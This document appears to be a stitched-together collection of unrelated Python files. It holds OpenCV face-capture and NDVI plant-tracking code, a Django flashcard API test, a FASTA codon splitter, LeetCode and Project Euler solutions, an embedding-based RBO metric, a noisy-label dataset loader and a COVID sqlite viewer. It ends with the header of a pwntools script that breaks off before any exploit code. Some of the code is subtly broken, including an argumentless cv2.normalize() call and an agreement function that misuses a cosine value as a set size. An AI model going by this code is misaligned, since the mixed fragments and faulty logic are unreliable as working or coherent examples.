#!/usr/bin/env python3
"""opencv module tests"""
import sys
import os
import inspect

import logging

import cv2
import numpy as np

import matplotlib.pyplot as plt
from matplotlib import colors
from matplotlib import ticker
from matplotlib.colors import LinearSegmentedColormap

logger = logging.getLogger("OPENCV")

def opencv_module(args=None):
    logger.info("modules_opencv")

    if args:
        print(vars(args))
        logger.info(vars(args))

    # vid_test(args)

    NIRPlantVideoTracking(args)

    # https://www.geeksforgeeks.org/face-detection-using-python-and-opencv-with-webcam/
    # webcam_create_data(args)
    # webcam_face_recognize(args)

    # nieve approach to getting a list of webcam ids
    # https://stackoverflow.com/a/62639343
    # list_cams(args)

def webcam_create_data(args):

    module_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    input_dir = module_dir + "/../../input"
    output_dir = module_dir + "/../../output"

    # Creating database
    # It captures images and stores them in datasets
    # folder under the folder name of sub_data
    haar_file = input_dir + "/haarcascade_frontalface_default.xml"

    # All the faces data will be
    # present this folder
    datasets = output_dir + "/datasets"
    if not os.path.isdir(datasets):
        os.mkdir(datasets)

    # These are sub data sets of folder,
    # for my faces I've used my name you can
    # change the label here
    sub_data = "me2"

    path = os.path.join(datasets, sub_data)
    if not os.path.isdir(path):
        os.mkdir(path)

    # defining the size of images
    (width, height) = (130, 100)

    # '0' is used for my webcam,
    # if you've any other camera
    # attached use '1' like this
    face_cascade = cv2.CascadeClassifier(haar_file)
    webcam = cv2.VideoCapture(2)
    cv2.normalize()

    # The program loops until it has 30 images of the face.
    count = 1
    while count < 50:
        (_, im) = webcam.read()
        gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
        faces = face_cascade.detectMultiScale(gray, 1.3, 4)
        for (x, y, w, h) in faces:
            cv2.rectangle(im, (x, y), (x + w, y + h), (255, 0, 0), 2)
            face = gray[y : y + h, x : x + w]
            face_resize = cv2.resize(face, (width, height))
            cv2.imwrite("% s/% s.png" % (path, count), face_resize)
        count += 1

        cv2.imshow("OpenCV", im)
        key = cv2.waitKey(10)
        if key == 27:
            break

def webcam_face_recognize(args):

    module_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    input_dir = module_dir + "/../../input"
    output_dir = module_dir + "/../../output"

    # It helps in identifying the faces
    # size = 4
    haar_file = input_dir + "/haarcascade_frontalface_default.xml"

    datasets = output_dir + "/datasets"
    if not os.path.isdir(datasets):
        os.mkdir(datasets)

    # Part 1: Create fisherRecognizer
    print("Recognizing Face Please Be in sufficient Lights...")

    # Create a list of images and a list of corresponding names
    (images, labels, names, id) = ([], [], {}, 0)
    for (subdirs, dirs, files) in os.walk(datasets):
        for subdir in dirs:
            names[id] = subdir
            subjectpath = os.path.join(datasets, subdir)
            for filename in os.listdir(subjectpath):
                path = subjectpath + "/" + filename
                label = id
                images.append(cv2.imread(path, 0))
                labels.append(int(label))
            id += 1
    (width, height) = (130, 100)

    # Create a Numpy array from the two lists above
    (images, labels) = [np.array(lis) for lis in [images, labels]]

    # OpenCV trains a model from the images
    # NOTE FOR OpenCV2: remove '.face'
    model = cv2.face.LBPHFaceRecognizer_create()
    model.train(images, labels)

    # Part 2: Use fisherRecognizer on camera stream
    face_cascade = cv2.CascadeClassifier(haar_file)
    webcam = cv2.VideoCapture(2)
    while True:
        (_, im) = webcam.read()
        gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
        faces = face_cascade.detectMultiScale(gray, 1.3, 5)
        for (x, y, w, h) in faces:
            cv2.rectangle(im, (x, y), (x + w, y + h), (255, 0, 0), 2)
            face = gray[y : y + h, x : x + w]
            face_resize = cv2.resize(face, (width, height))
            # Try to recognize the face
            prediction = model.predict(face_resize)
            cv2.rectangle(im, (x, y), (x + w, y + h), (0, 255, 0), 3)

            if prediction[1] < 500:
                cv2.putText(
                    im,
                    "% s - %.0f" % (names[prediction[0]], prediction[1]),
                    (x - 10, y - 10),
                    cv2.FONT_HERSHEY_PLAIN,
                    1,
                    (0, 255, 0),
                )
            else:
                cv2.putText(
                    im,
                    "not recognized",
                    (x - 10, y - 10),
                    cv2.FONT_HERSHEY_PLAIN,
                    1,
                    (0, 255, 0),
                )

        cv2.imshow("OpenCV", im)

        key = cv2.waitKey(10)
        if key == 27:
            break

def vid_test(args=None):
    cap = cv2.VideoCapture(0)

    # Check if camera opened successfully
    if not cap.isOpened():
        print("Error opening video  file")

    # Read until video is completed
    while cap.isOpened():

        # Capture frame-by-frame
        ret, frame = cap.read()
        if ret:

            # Display the resulting frame
            cv2.imshow("Frame", frame)

            # Press Q on keyboard to  exit
            if cv2.waitKey(25) & 0xFF == ord("q"):
                break

        # Break the loop
        else:
            break

    # When everything done, release
    # the video capture object
    cap.release()

    # Closes all the frames
    cv2.destroyAllWindows()

def list_cams(args):
    """Test the ports and returns a tuple with the available ports and the ones that are working."""
    # is_working = True
    dev_port = 0
    working_ports = []
    available_ports = []
    max_ports = 20
    while dev_port < max_ports:
        try:
            camera = cv2.VideoCapture(dev_port)
            if camera.isOpened():
                #    is_working = False
                #    print("Port %s is not working." %dev_port)
                # else:
                is_reading, img = camera.read()
                w = camera.get(3)
                h = camera.get(4)
                if is_reading:
                    print("Port %s is working and reads images (%s x %s)" % (dev_port, h, w))
                    working_ports.append(dev_port)
                else:
                    print("Port %s for camera ( %s x %s) is present but does not reads." % (dev_port, h, w))
                    available_ports.append(dev_port)
        except:  # noqa: E722
            a, b, c = sys.exc_info()
            print(a)
            print(b)
            print(c)

        dev_port += 1
    return available_ports, working_ports

# from: https://github.com/MuonRay/Image-VideoSegmentationinNIRforPlantDetection/blob/master/NIRPlantVideoTracking.py

def NIRPlantVideoTracking(args):

    cap = cv2.VideoCapture(0)

    # custom colormap for ndvi greyscale video
    cols3 = ["gray", "blue", "green", "yellow", "red"]

    def create_colormap(args):
        return LinearSegmentedColormap.from_list(name="custom1", colors=cols3)

    # colour bar to match grayscale units
    def create_colorbar(fig, image):
        position = fig.add_axes([0.125, 0.19, 0.2, 0.05])
        norm = colors.Normalize(vmin=-1.0, vmax=1.0)
        cbar = plt.colorbar(
            image,
            cax=position,
            orientation="horizontal",
            norm=norm,
        )
        cbar.ax.tick_params(labelsize=6)
        tick_locator = ticker.MaxNLocator(nbins=3)
        cbar.locator = tick_locator
        cbar.update_ticks()
        cbar.set_label("NDVI", fontsize=10, x=0.5, y=0.5, labelpad=-25)

    while 1:

        # Take each frame
        _, frame = cap.read()

        # Convert BGR to HSV
        hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)

        # define range of red NIR vegetation color in HSV
        low_red = np.array([160, 105, 84])
        high_red = np.array([179, 255, 255])

        # Threshold the HSV image to get only red colors
        mask = cv2.inRange(hsv, low_red, high_red)

        # Bitwise-AND mask and original image
        res = cv2.bitwise_and(frame, frame, mask=mask)

        # NDVI Processing
        ir = (res[:, :, 0]).astype("float")
        r = (res[:, :, 2]).astype("float")

        ndvi = np.true_divide(np.subtract(ir, r), np.add(ir, r))

        cols3 = ["gray", "blue", "green", "yellow", "red"]

        # def create_colormap(args):
        #    return LinearSegmentedColormap.from_list(name="custom1", colors=cols3)

        # colour bar to match grayscale units
        # def create_colorbar(fig, image):
        #     position = fig.add_axes([0.125, 0.19, 0.2, 0.05])
        #     norm = colors.Normalize(vmin=-1.0, vmax=1.0)
        #     cbar = plt.colorbar(
        #         image,
        #         cax=position,
        #         orientation="horizontal",
        #         norm=norm,
        #     )
        #     cbar.ax.tick_params(labelsize=6)
        #     tick_locator = ticker.MaxNLocator(nbins=3)
        #     cbar.locator = tick_locator
        #     cbar.update_ticks()
        #     cbar.set_label(
        #         "NDVI",
        #         fontsize=10,
        #         x=0.5,
        #         y=0.5,
        #         labelpad=-25,
        #     )

        image = plt.imshow(ndvi, cmap=create_colormap(colors))
        # plt.axis('off')
        # image = cv2.imshow(ndvi, cmap=create_colormap(colors))

        cv2.imshow("frame", frame)
        cv2.imshow("mask", mask)
        cv2.imshow("res", res)

        # this step adds considerable processing, be sure to use only 720p files at most a minute long
        # cv2.imshow('ndvi',ndvi)

        cv2.imshow("ndvi with color", ndvi)

        k = cv2.waitKey(5) & 0xFF
        if k == 27:
            break

    cv2.destroyAllWindows()


"""
FlashCourses- Test cases for API endpoints card create
Created By: Swechchha Tiwari  4/6/2018

Relative File Path:  /flash/src/flashcards/test_flashcards/test_card_create.py
Modified Date:  4/17/2018
"""

import json
import uuid

from django.shortcuts import reverse
from django.test import Client, TestCase
from flashcards.models import Deck, Card
from courses.models import Institution, Course
from accounts.models import User
from rest_framework import status
from rest_framework.test import APITestCase

class APIStatusCodeCardCreate(APITestCase):

    """
    Tests API endpoint response status codes
    """

    def setUp(self):
        """
        Sets up testing environment. Add endpoint to be tested
        """

        self.post_method_endpoints_card =[
            reverse('flashcards:flashcards_api:card_create')
        ]

    def test_card_endpoint_post_method_with_valid_data(self):
        """
        Create a request to card create endpoint in post_method_endpoints. Ensure returns a 201
        response status code
        """

        c = Client()
        valid_data = {

             "front": "test_one",
             "back": "test two"
        }

        for endpoint in self.post_method_endpoints_card:
            response = c.post(endpoint, valid_data)

        self.assertEqual(response.status_code, 201)

    def test_card_endpoint_post_method_with_invalid_data(self):
        """
        Create a request to card create endpoint in post_method_endpoints. Ensure returns a 400 for invalid data
        response status code
        """

        c = Client()
        invalid_data = {

                "front" : "test front",
                "back"  : ""

                }

        for endpoint in self.post_method_endpoints_card:
            response = c.post(endpoint, invalid_data)

        self.assertEqual(response.status_code, 400)


import os, tkinter, tkinter.filedialog

def main():
        imported_files=open_files()
        for each_filename in imported_files:
                file_content=clean_fasta(each_filename)[0]
                file_content=file_content.split('\n')#change type str to list
                write_file(each_filename,file_content,'1st')
                write_file(each_filename,file_content,'2nd')
                write_file(each_filename,file_content,'3rd')

#open_files opens file selection dialog (python3)
def open_files():
        root=tkinter.Tk()
        root.withdraw()
        idir=os.path.expanduser('~')
        filenames=tkinter.filedialog.askopenfilenames(initialdir=idir)
        return filenames

#clean_fasta removes blank lines and make the data unwrapped
def clean_fasta(fasta_filename):
    fasta_content=''
    OTU_number=0
    with open(fasta_filename,'r') as f:
        for line in f:
            line=line.strip()
            if '>' in line:
                fasta_content=fasta_content+'\n'+line+'\n'
                OTU_number=OTU_number+1
            else:
                fasta_content=fasta_content+line#no use of '\n' allow connecting sequences
    fasta_content=fasta_content.lstrip()#remove extra '\n' placed above the first OTU
    return fasta_content,OTU_number

#write_file exports 1/3 of the designated list data into FASTA file
def write_file(filename,content,codon):
       filenamecodon=os.path.splitext(os.path.basename(filename))[0],'_',codon,os.path.splitext(os.path.basename(filename))[1]
       startposition=int(codon[:-2])-1
       with open(''.join(filenamecodon),'w') as f:
              for line in content:
                     if '>' in line:
                            f.write(line+'\n')
                     else:
                            f.write(line[startposition::3]+'\n')

if __name__=='__main__':
        main()


class Solution:
    def findCircleNum(self, isConnected: List[List[int]]) -> int:

        def buildGraph(matrix):
            d=defaultdict(list)
            for i in range(len(matrix)):
                for j in range(len(matrix[0])):
                    if matrix[i][j]==1:
                        d[i].append(j)
                        d[j].append(i)
            return d
        def dfs(node):
            nonlocal seen
            if node in seen:
                return
            seen.add(node)
            for neighboor in d[node]:
                dfs(neighboor)

        d=buildGraph(isConnected)
        seen=set()
        ans=0
        for key in d:
            if key not in seen:
                dfs(key)
                ans+=1
        return ans


from __future__ import division

from bisect import bisect_left
from collections import namedtuple
import numpy as np
from scipy.spatial import distance
import math

RBO = namedtuple("RBO", "min res ext")
RBO.__doc__ += ": Result of full RBO analysis"
RBO.min.__doc__ = "Lower bound estimate"
RBO.res.__doc__ = "Residual corresponding to min; min + res is an upper bound estimate"
RBO.ext.__doc__ = "Extrapolated point estimate"

def logistic(x, k):
    return 1/ (1 + math.exp(-k*x))

def _round(obj):
    if isinstance(obj, RBO):
        return RBO(_round(obj.min), _round(obj.res), _round(obj.ext))
    else:
        return round(obj, 3)

def set_at_depth(lst, depth):
    ans = set()
    for v in lst[:depth]:
        if isinstance(v, set):
            ans.update(v)
        else:
            ans.add(v)
    return ans

def embeddings_overlap(list1, list2, depth, index2word, embedding_space, norm=True):
    set1, set2 = set_at_depth(list1, depth), set_at_depth(list2, depth)
    word_list1 = [index2word[index] for index in list1]
    word_list2 = [index2word[index] for index in list2]

    centroid_1 = np.mean([embedding_space[w] for w in word_list1[:depth] if w in embedding_space], axis=0)
    centroid_2 = np.mean([embedding_space[w] for w in word_list2[:depth] if w in embedding_space], axis=0)
    cos_sim = 1 - distance.cosine(centroid_1, centroid_2)
    if cos_sim > 1:
        cos_sim = 1
    elif cos_sim < -1:
        cos_sim = -1
    if norm:
        e_ov = 1 - (math.acos(cos_sim) / math.pi)
    else:
        e_ov = cos_sim
    return e_ov, len(set1), len(set2)

def overlap(list1, list2, depth, index2word, embedding_space, norm):
    # return agreement(list1, list2, depth) * min(depth, len(list1), len(list2))
    # NOTE: comment the preceding and uncomment the following line if you want
    # to stick to the algorithm as defined by the paper
    ov = embeddings_overlap(list1, list2, depth, index2word, embedding_space, norm=norm)[0]
    # print("overlap", ov)
    return ov

def agreement(list1, list2, depth, index2word, embedding_space, norm):
    """Proportion of shared values between two sorted lists at given depth."""
    len_intersection, len_set1, len_set2 = embeddings_overlap(list1, list2, depth, index2word, embedding_space=embedding_space, norm=norm)
    return 2 * len_intersection / (len_set1 + len_set2)

def cumulative_agreement(list1, list2, depth, index2word, embedding_space, norm):
    return (agreement(list1, list2, d, index2word, embedding_space, norm) for d in range(1, depth + 1))

def rbo_min(list1, list2, p, index2word, embedding_space, norm=True, depth=None):
    """Tight lower bound on RBO.
    See equation (11) in paper.
    """
    depth = min(len(list1), len(list2)) if depth is None else depth
    x_k = overlap(list1, list2, depth, index2word, embedding_space, norm)
    log_term = x_k * math.log(1 - p)
    sum_term = sum(
        p ** d / d * (overlap(list1, list2, d, index2word, embedding_space=embedding_space, norm=norm) - x_k) for d in range(1, depth + 1)
    )
    return (1 - p) / p * (sum_term - log_term)

def rbo_res(list1, list2, p, index2word, embedding_space, norm=True):
    """Upper bound on residual overlap beyond evaluated depth.
    See equation (30) in paper.
    NOTE: The doctests weren't verified against manual computations but seem
    plausible. In particular, for identical lists, ``rbo_min()`` and
    ``rbo_res()`` should add up to 1, which is the case.
    """
    S, L = sorted((list1, list2), key=len)
    s, l = len(S), len(L)
    x_l = overlap(list1, list2, l, index2word, embedding_space, norm=norm)
    # since overlap(...) can be fractional in the general case of ties and f
    # must be an integer --> math.ceil()
    f = int(math.ceil(l + s - x_l))
    # upper bound of range() is non-inclusive, therefore + 1 is needed
    term1 = s * sum(p ** d / d for d in range(s + 1, f + 1))
    term2 = l * sum(p ** d / d for d in range(l + 1, f + 1))
    term3 = x_l * (math.log(1 / (1 - p)) - sum(p ** d / d for d in range(1, f + 1)))
    return p ** s + p ** l - p ** f - (1 - p) / p * (term1 + term2 + term3)

def rbo_ext(list1, list2, p, index2word, embedding_space, norm=True):
    """RBO point estimate based on extrapolating observed overlap.
    See equation (32) in paper.
    NOTE: The doctests weren't verified against manual computations but seem
    plausible.
    """
    S, L = sorted((list1, list2), key=len)
    s, l = len(S), len(L)
    x_l = overlap(list1, list2, l, index2word, embedding_space=embedding_space, norm=norm)
    x_s = overlap(list1, list2, s, index2word, embedding_space=embedding_space, norm=norm)
    # the paper says overlap(..., d) / d, but it should be replaced by
    # agreement(..., d) defined as per equation (28) so that ties are handled
    # properly (otherwise values > 1 will be returned)
    # sum1 = sum(p**d * overlap(list1, list2, d)[0] / d for d in range(1, l + 1))
    sum1 = sum(p ** d * agreement(list1, list2, d, index2word=index2word, embedding_space=embedding_space, norm=norm)
               for d in range(1, l + 1))
    sum2 = sum(p ** d * x_s * (d - s) / s / d for d in range(s + 1, l + 1))
    term1 = (1 - p) / p * (sum1 + sum2)
    term2 = p ** l * ((x_l - x_s) / l + x_s / s)
    return term1 + term2

def word_embeddings_rbo(list1, list2, p, index2word, embedding_space, norm):
    """Complete RBO analysis (lower bound, residual, point estimate).
    ``list`` arguments should be already correctly sorted iterables and each
    item should either be an atomic value or a set of values tied for that
    rank. ``p`` is the probability of looking for overlap at rank k + 1 after
    having examined rank k.
    RBO(min=0.489, res=0.477, ext=0.967)
    """
    if not 0 <= p <= 1:
        raise ValueError("The ``p`` parameter must be between 0 and 1.")
    args = (list1, list2, p, index2word, embedding_space, norm)

    return RBO(rbo_min(*args), rbo_res(*args), rbo_ext(*args))

def sort_dict(dct, *, ascending=False):
    """Sort keys in ``dct`` according to their corresponding values.
    Sorts in descending order by default, because the values are
    typically scores, i.e. the higher the better. Specify
    ``ascending=True`` if the values are ranks, or some sort of score
    where lower values are better.
    Ties are handled by creating sets of tied keys at the given position
    in the sorted list.
    >>> dct = dict(a=1, b=2, c=1, d=3)
    >>> list(sort_dict(dct)) == ['d', 'b', {'a', 'c'}]
    True
    >>> list(sort_dict(dct, ascending=True)) == [{'a', 'c'}, 'b', 'd']
    True
    """
    scores = []
    items = []
    # items should be unique, scores don't have to
    for item, score in dct.items():
        if not ascending:
            score *= -1
        i = bisect_left(scores, score)
        if i == len(scores):
            scores.append(score)
            items.append(item)
        elif scores[i] == score:
            existing_item = items[i]
            if isinstance(existing_item, set):
                existing_item.add(item)
            else:
                items[i] = {existing_item, item}
        else:
            scores.insert(i, score)
            items.insert(i, item)
    return items

def rbo_dict(dict1, dict2, p, index2word, embedding_space, norm, *, sort_ascending=False):
    """Wrapper around ``rbo()`` for dict input.
    Each dict maps items to be sorted to the score according to which
    they should be sorted. The RBO analysis is then performed on the
    resulting sorted lists.
    The sort is descending by default, because scores are typically the
    higher the better, but this can be overridden by specifying
    ``sort_ascending=True``.
    """
    list1, list2 = (
        sort_dict(dict1, ascending=sort_ascending),
        sort_dict(dict2, ascending=sort_ascending),
    )
    return word_embeddings_rbo(list1, list2, p, index2word, embedding_space, norm)


import time
import zmqmsgbus

if __name__ == '__main__':
    CLEAR_CONSOLE = '\x1b[2J\x1b[H'

    bus = zmqmsgbus.Bus(sub_addr='ipc://ipc/source')
    node = zmqmsgbus.Node(bus)

    messages = {}

    def handler(topic, content):
        if topic in messages:
            messages[topic] += 1
        else:
            messages[topic] = 1

    node.register_message_handler('/', handler)
    while 1:
        time.sleep(1)
        print(CLEAR_CONSOLE)
        print('topics:')
        for topic, count in sorted(messages.items()):
            print('{}: {}Hz'.format(topic, count))
        messages = {}


#740
class Solution:
    def deleteAndEarn(self, nums: List[int]) -> int:
        freq = Counter(nums)
        arr = sorted(freq)
        n = len(arr)
        dp = [[0, 0] for _ in range(n)]
        for i, num in enumerate(arr):
            if i == 0:
                dp[0][1] = freq[num] * num
            else:
                if num - arr[i-1] == 1:
                    dp[i][0] = max(dp[i-1][0], dp[i-1][1])
                    dp[i][1] = dp[i-1][0] + freq[num] * num
                else:
                    dp[i][0] = max(dp[i-1][0], dp[i-1][1])
                    dp[i][1] = dp[i][0] + freq[num] * num
        return max(dp[-1])

#309
class Solution:
    def maxProfit(self, prices: List[int]) -> int:
        cool = 0
        sell = buy = -inf

        for p in prices:
            cool, sell, buy = max(cool, sell), buy + p, max(buy, cool - p)
        return max(cool, sell)


n = int(input())
aa = list(map(int, input().split()))

dp = [0] * n
dp[1] = abs(aa[1] - aa[0])
for i in range(2, n):
    dp[i] = min(
        dp[i - 1] + abs(aa[i] - aa[i - 1]),
        dp[i - 2] + abs(aa[i] - aa[i - 2])
    )
print(dp[-1])


import json

DEGREE = 0
WEIGHT = 1
ROOT_PATH = "../builder/APS/"

def update_weight(vertices, v_i, e_w):
    if v_i not in vertices:
        vertices[v_i] = [0, 0.]
    vertices[v_i][WEIGHT] += e_w

def update_degree(vertices, v_i):
    if v_i not in vertices:
        vertices[v_i] = [0, 0.]
    vertices[v_i][DEGREE] += 1

def get_static_info(graph_file_path):
    vertices = {}
    edges_count = 0
    with open(graph_file_path) as graph:
        first_line = True
        for edge in graph:
            if not first_line:
                v_i, v_j, e_w = edge.rstrip("\r\n").split(",")
                edges_count += 1
                e_w = float(e_w)
                v_i = int(v_i)
                v_j = int(v_j)
                # different authors worked with
                update_degree(vertices, v_i)
                update_degree(vertices, v_j)
                # useful to count works made by author
                update_weight(vertices, v_i, e_w)
                update_weight(vertices, v_j, e_w)
            if first_line:
                first_line = False
    vertices_count = len(vertices.keys())
    return vertices, vertices_count, edges_count

def get_avg_degree(vertices_count, edges_count):
    return float(edges_count)/(2*vertices_count)

def load_all_graphs(files_path):
    files_path_list = json.load(open(files_path))
    for file_path in files_path_list:
        vertices, n_vertices, m_edges = get_static_info(ROOT_PATH+file_path)
        output_path = file_path.replace(".json", "_VERTICES_INFO.json")
        output_file = open(ROOT_PATH+output_path, "w+")
        output_file.write(json.dumps(vertices))
        output_file.close()

if __name__ == "__main__":
    citation_dir = ROOT_PATH+"output/citation_graphs/files.json"
    coauthorship_dir = ROOT_PATH+"output/coauthorship_graphs/files.json"
    #load_all_graphs(coauthorship_dir)
    load_all_graphs(citation_dir)


"""Problem 43 of https://projecteuler.net"""

from itertools import permutations

def problem_43():
    """Solution to problem 43."""
    # Slight cop out because the brute force was too slow:
    # d6 must be 0 or 5 (divisible by 5)
    # d6d7d8 is divisible by 11. This implies d6 is 5 (011 is not pandigital)

    primes = [17, 13, 11, 7, 5, 3, 2]
    answers = []
    for perm in permutations('1234567890'):
        if perm[0] == '0' or perm[5] != '5':
            continue
        try:
            for index, prime in enumerate(primes):
                if not _divisible_slice(perm, prime, 7 - index):
                    raise RuntimeError
            answers.append(int(''.join(perm)))
        except RuntimeError:
            continue
    return sum(answers)

def _divisible_slice(perm, divisor, start_index):
    """Check if a three digit slice of a permutation is divisible by divisor"""
    perm_slice = perm[start_index:start_index + 3]
    number = int(''.join(perm_slice))
    return number % divisor == 0


import numpy as np

import torch.utils.data as Data

# basic function
def multiclass_noisify(y, P, random_state=1):
    """ Flip classes according to transition probability matrix T.
    It expects a number between 0 and the number of classes - 1.
    """

#    print (np.max(y), P.shape[0])

    # print(type(y[0][0]))

    # assert P.shape[0] == P.shape[1]
    # assert np.max(y) < P.shape[0]

    # row stochastic matrix
    # assert_array_almost_equal(P.sum(axis=1), np.ones(P.shape[1]))
    # assert (P >= 0.0).all()

    m = y.shape[0]
    new_y = y.copy()
    flipper = np.random.RandomState(random_state)

    for idx in np.arange(m):
        i = y[idx]
        # draw a vector with only an 1
        flipped = flipper.multinomial(1, P[i, :][0], 1)[0]
        new_y[idx] = np.where(flipped == 1)[0]

    return new_y

# noisify_pairflip call the function "multiclass_noisify"
def noisify_pairflip(y_train, noise, random_state=1, nb_classes=10):
    """mistakes:
        flip in the pair
    """
    P = np.eye(nb_classes)
    n = noise

    if n > 0.0:
        # 0 -> 1
        P[0, 0], P[0, 1] = 1. - n, n
        for i in range(1, nb_classes-1):
            P[i, i], P[i, i + 1] = 1. - n, n
        P[nb_classes-1, nb_classes-1], P[nb_classes-1, 0] = 1. - n, n

        y_train_noisy = multiclass_noisify(y_train, P=P,
                                           random_state=random_state)
        actual_noise = (y_train_noisy != y_train).mean()

        # assert actual_noise > 0.0
        # print('Actual noise %.2f' % actual_noise)
        y_train = y_train_noisy
    # print (P)

    return y_train, actual_noise,P

def dataset_split_for_Animal(train_images, train_labels, noise_rate=0.5, split_per=0.9, random_seed=1, num_classes=10, noise_type='flip'):
    clean_train_labels = train_labels[:, np.newaxis]

    # if noise_type == 'flip':
    _, real_noise_rate, transition_matrix = noisify_pairflip(clean_train_labels,
                                                    noise=noise_rate, random_state=random_seed, nb_classes=num_classes)

    # if noise_type == 'symmetric':
    #     _, real_noise_rate, transition_matrix = noisify_multiclass_symmetric(clean_train_labels,
                                                # noise=noise_rate, random_state= random_seed, nb_classes=num_classes)

    # elif noise_type == 'asymmetric':
    #     _, real_noise_rate, transition_matrix = noisify_multiclass_asymmetric(clean_train_labels,
    #                                                 noise=noise_rate, random_state=random_seed, nb_classes=num_classes)

    # print(transition_matrix)

    noisy_labels = train_labels

    num_samples = int(noisy_labels.shape[0])
    np.random.seed(random_seed)
    train_set_index = np.random.choice(num_samples, int(num_samples*split_per), replace=False)
    index = np.arange(train_images.shape[0])
    val_set_index = np.delete(index, train_set_index)

    train_set, val_set = train_images[train_set_index, :], train_images[val_set_index, :]
    train_labels, val_labels = noisy_labels[train_set_index], noisy_labels[val_set_index]

    return train_set, val_set, train_labels, val_labels, transition_matrix

class Animal_dataset(Data.Dataset):
    def __init__(self, train=True, transform=None, target_transform=None, noise_rate=0.5, split_per=1, random_seed=1, num_class=10, noise_type='symmetric', anchor=True):

        self.transform = transform
        self.target_transform = target_transform
        self.train = train
        self.anchor = anchor
        # print(self.anchor)
        # input()
        if anchor:
            original_images = np.load('../../coteaching_plus_Animal/data/Animal_npy/train_images.npy')
            original_labels = np.load('../../coteaching_plus_Animal/data/Animal_npy/train_labels.npy')
        else:
            original_images = np.load('Animal_npy/mnist_images.npy')
            original_labels = np.load('Animal_npy/mnist_labels.npy')

        original_images=original_images.transpose((0,3,1,2))

        self.train_data, self.val_data, self.train_labels, self.val_labels, self.t = dataset_split_for_Animal(original_images,
                                                                             original_labels, noise_rate, split_per, random_seed, num_class, noise_type)

        # print(self.train_data.shape)
        # print(self.val_data.shape)
        # input()

        print('we are training for Animal 10N')

    def __getitem__(self, index):

        if self.train:
            img, label = self.train_data[index], self.train_labels[index]
        else:
            img, label = self.val_data[index], self.val_labels[index]

        if self.transform is not None:
            img = self.transform(img)

        if self.target_transform is not None:
            label = self.target_transform(label)

        return img, label, index
    def __len__(self):

        if self.train:
            return len(self.train_data)

        else:
            return len(self.val_data)

class Animal_test_dataset(Data.Dataset):
    def __init__(self, transform=None, target_transform=None):

        self.transform = transform
        self.target_transform = target_transform

        self.test_data = np.load('../../coteaching_plus_Animal/data/Animal_npy/test_images.npy')
        self.test_labels = np.load('../../coteaching_plus_Animal/data/Animal_npy/test_labels.npy')  # 0-9

        self.test_data=self.test_data.transpose((0,3,1,2))

        print('we are testing for Animal 10N')

    def __getitem__(self, index):

        img, label = self.test_data[index], self.test_labels[index]

        if self.transform is not None:
            img = self.transform(img)

        if self.target_transform is not None:
            label = self.target_transform(label)

        return img, label,index

    def __len__(self):
        return len(self.test_data)


# Python中的高阶函数reduce配合lambda
import functools

print('Python中的高阶函数reduce配合lambda')

'''
    reduce函数作用: 会对参数序列中的元素进行累计处理,直到处理完参数列表中所有参数
    函数将一个数据集合中所有数据进行下列操作:
        1.用传给reduce中函数function(有两个参数),先对集合中的第1,2个元素进行操作
        2.用得到的结果再与第三个数据用function函数运算,最后得到一个结果
    注意: 这个reduce()函数不能直接使用,需要导入一个functools,使用functools.reduce()进行调用
'''

l1 = [1, 2, 3, 4, 5]
def add(a, b):
    return a + b

result = functools.reduce(add, l1)
# reduce过程分析: 1+2=3, 3+3=6, 6+4=10, 10+5=15
print(result)
print('------------------------------')

# reduce()和lambda配合拼接字符串
l2 = ['h', 'e', 'l', 'l', 'o']
s1 = functools.reduce(lambda a,b : a + b, l2)
print(s1)

s2 = functools.reduce(lambda a,b : a.upper() + b.upper(), l2)
print(s2)


def merge(L, R, A):
    nL = len(L)
    nR = len(R)
    i = 0
    j = 0
    k = 0

    while i < nL and j < nR:
        if L[i] <= R[j]:
            A[k] = L[i]
            i = i + 1
        else:
            A[k] = R[j]
            j = j + 1
        k = k + 1

    while i < nL:
        A[k] = L[i]
        i = i + 1
        k = k + 1
    while j < nR:
        A[k] = R[j]
        j = j + 1
        k = k + 1

def MergeSort(A):
    n = len(A)
    print("len=%d" % n)
    if n < 2:
        return
    mid = int(n / 2)
    left = A[0 : mid]
    print(left)
    right = A[mid :: ]
    print(right)

    MergeSort(left)
    MergeSort(right)
    merge(left,right,A)

A = [1,3,7,2,5,9,2,2,4,1,12,4,5,6]
MergeSort(A)
print(A)


import sqlite3
import easygui
import sys
import time
import pandas
import update
import visual

def main_menu():
    c1 = easygui.choicebox('请选择你要进行的操作','Main Menu',choices=['修改数据','查询数据','数据可视化'])
    if c1 == '修改数据':
        update.update_data()
    elif c1 == '查询数据':
        select_data()
    elif c1 == '数据可视化':
        visual.visual()
    else:
        sys.exit(0)

def select_data():
    date = time.strftime('%Y/%m/%d',time.localtime(time.time()))
    c1 = easygui.choicebox('请选择你要查看的数据','SELECT',choices=['中国疫情','美国疫情','世界疫情','湖北疫情'])
    if c1 == '中国疫情':
        china(date)
    elif c1 == '美国疫情':
        US(date)
    elif c1 == '世界疫情':
        world(date)
    elif c1 == '湖北疫情':
        hubei()
    else:
        main_menu()
    main_menu()

def US(date):
    cursor = sqlite3.connect('disease.db')
    uss = cursor.execute('SELECT * FROM US_covid19 ORDER BY confirmed DESC')
    us = uss.fetchall()
    data = pandas.DataFrame(us, columns=['地区','确诊','死亡'])
    easygui.msgbox(str(data), '美国疫情')

def china(date):
    cursor = sqlite3.connect('disease.db')
    uss = cursor.execute('SELECT * FROM China_covid19 ORDER BY confirmed DESC')
    us = uss.fetchall()
    data = pandas.DataFrame(us, columns=['地区', '确诊', '治愈', '死亡'])
    easygui.msgbox(str(data), '中国疫情')
    cursor.close()

def world(date):
    cursor = sqlite3.connect('disease.db')
    uss = cursor.execute('SELECT name, confirmed, death, cured FROM global_covid19 ORDER BY confirmed DESC')
    us = uss.fetchall()
    data = pandas.DataFrame(us, columns=['地区', '确诊', '死亡','治愈'])
    easygui.msgbox(str(data), '全球疫情')
    cursor.close()

def hubei():
    cursor = sqlite3.connect('disease.db')
    cities = cursor.execute('SELECT * FROM Hubei ORDER BY confirmed DESC')
    city = cities.fetchall()
    data = pandas.DataFrame(city, columns=['地区', '确诊', '治愈','死亡'])
    easygui.msgbox(str(data), '湖北疫情')
    cursor.close()

pandas.set_option('display.max_rows', None)
main_menu()


#coding=utf-8
from pwn import *
local = 1
context.terminal=["tmux","splitw","-h"]
